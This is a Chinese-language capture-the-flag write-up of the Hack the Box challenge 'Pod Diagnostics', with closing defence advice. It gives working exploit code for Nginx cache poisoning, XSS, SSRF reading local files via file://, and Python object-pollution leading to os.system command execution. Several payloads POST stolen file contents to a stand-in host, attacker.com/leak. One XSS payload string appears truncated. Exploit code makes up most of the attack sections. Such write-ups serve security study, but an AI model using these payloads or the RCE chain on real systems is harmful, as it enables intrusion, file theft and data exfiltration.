Hack the Box——Pod Diagnostics解题过程
字数 1422 2025-08-10 13:48:29
Hack the Box——Pod Diagnostics 解题详解
0x00 题目概述
这是一道涉及多个漏洞链的CTF题目,主要考察以下知识点:
- Nginx缓存机制与参数解析差异
- 反射型XSS到存储型XSS的转换
- 跨域请求与SSRF利用
- Python原型链污染漏洞
- 认证绕过与文件读取
0x01 目标分析
服务架构
题目包含三个主要服务和一个Nginx反向代理:
-
Web服务 (3000端口)
/- 主页面/generate-report- 生成PDF报告/report- 报告管理(需要认证)
-
Stats服务 (3001端口)
/stats?period=- 返回系统统计信息
-
PDF生成服务 (3002端口)
/generate?url=- 生成指定URL的PDF
-
Nginx反向代理
- 代理Web和Stats服务
- 为/stats配置了缓存
关键代码分析
Web服务关键路由
@app.route("/generate-report")
def generate_report_handler():
try:
pdf_response = requests.get(f"{pdf_generation_URL}/generate?url={quote('http://localhost/')}")
return send_file(
io.BytesIO(pdf_response.content),
mimetype="application/json",
as_attachment=True,
download_name="report.pdf"
)
Stats服务关键路由
app.get("/stats", async (req, res) => {
const { period } = req.query;
if (!period || !validPeriods.hasOwnProperty(period)) {
return res.json({
success: false,
error: `<strong>${period} is invalid.</strong> Please specify one of the following values: ${Object.keys(validPeriods).join(', ')}`
});
}
// ...
});
PDF服务关键路由
app.get("/generate", async (req, res) => {
const { url } = req.query;
if (!url) return res.sendStatus(400);
const pdf = await generatePDF(url);
if (!pdf) return res.sendStatus(500);
res.contentType("application/pdf");
res.end(pdf);
});
Nginx缓存配置
proxy_cache_path /run/nginx/cache keys_zone=stat_cache:10m inactive=10s;
location = /stats {
proxy_cache stat_cache;
proxy_cache_key "$arg_period";
proxy_cache_valid 200 15s;
proxy_pass http://127.0.0.1:3001;
}
0x02 漏洞链分析
漏洞1: Nginx缓存与参数解析差异
关键点:
- Nginx使用
$arg_period作为缓存key,但只解析第一个period参数 - Express的qs库会将重复参数解析为数组
- 当period是数组时,toString()会将其转换为逗号分隔的字符串
利用方法:
发送请求:/stats?period=1m&period=<payload>
- Nginx看到的缓存key是
period=1m - 后端Express看到的是
period=["1m", "<payload>"]
漏洞2: 反射型XSS
位置:/static/js/stats.js
fetch("/stats?period=" + periodSelector.value)
.then((data) => data.json())
.then((data) => {
const { current, average, success, error } = data;
if (success) {
// ...
} else {
errorAlert.innerHTML = error;
errorAlert.style.display = "block";
}
});
当success为false时,直接将error内容插入DOM,导致XSS。
漏洞3: 跨域与SSRF
关键点:
- Stats和PDF服务都设置了
Access-Control-Allow-Origin: * - PDF服务的url参数可控,可通过XSS发起SSRF请求
- 浏览器支持file协议,可读取本地文件
漏洞4: Python原型链污染
位置:report.py中的merge函数
def merge(source, destination):
for key, value in source.items():
if hasattr(destination, "get"):
if destination.get(key) and type(value) == dict:
merge(value, destination.get(key))
else:
destination[key] = value
elif hasattr(destination, key) and type(value) == dict:
merge(value, getattr(destination, key))
else:
setattr(destination, key, value)
0x03 完整利用链
步骤1: 缓存中毒注入XSS
构造恶意请求使Nginx缓存包含XSS payload的响应:
import requests
from urllib.parse import quote
base_url = "http://target:port"
xss_payload = "r.blob()).then(b=>fetch(`http://attacker.com/leak`,{method:`POST`,body:b}))'>"
# 触发缓存中毒
url = f"{base_url}/stats?period=1m&period={quote(xss_payload)}"
requests.get(url)
步骤2: 触发XSS读取.env文件
访问/generate-report路由,使后端puppeteer访问被污染的缓存:
r = requests.get(f"{base_url}/generate-report")
with open("response.pdf", "wb") as f:
f.write(r.content)
步骤3: 获取工程师凭证
从接收到的PDF中提取.env文件内容,获取:
ENGINEER_USERNAME=engineer
ENGINEER_PASSWORD=随机32位字符串
步骤4: Python原型链污染RCE
使用获取的凭证认证后,利用原型链污染执行命令:
import requests
import base64
url = "http://target:port/report"
auth = "engineer:获取的密码"
headers = {
"Authorization": f"Basic {base64.b64encode(auth.encode()).decode()}"
}
payload = {
"title": "1",
"description": "3",
"__init__": {
"__globals__": {
"loader": {
"__init__": {
"__globals__": {
"sys": {
"modules": {
"jinja2": {
"runtime": {
"exported": {
"__import__": "os.system",
"command": "/readflag > /app/services/web/static/flag"
}
}
}
}
}
}
}
}
}
}
}
requests.post(url, headers=headers, json=payload)
步骤5: 获取flag
访问/static/flag读取flag:
print(requests.get("http://target/static/flag").text)
0x04 非预期解法
直接通过XSS+SSRF读取/flag文件:
fetch('http://127.0.0.1:3002/generate?url=file:///flag')
.then(response => response.blob())
.then(blob => {
return fetch('http://attacker.com/leak', {
method: 'POST',
body: blob
});
});
0x05 防御建议
-
Nginx配置:
- 使用完整的URI作为缓存key
- 限制参数数量
-
XSS防御:
- 对动态内容进行HTML编码
- 设置Content Security Policy
-
SSRF防御:
- 限制PDF服务的URL参数协议(禁用file://)
- 使用URL白名单
-
原型链污染防御:
- 避免使用不安全的对象合并
- 使用安全的替代方案如
dict.update()
-
认证信息保护:
- 不要将敏感信息存储在.env文件中
- 使用更安全的认证方式如JWT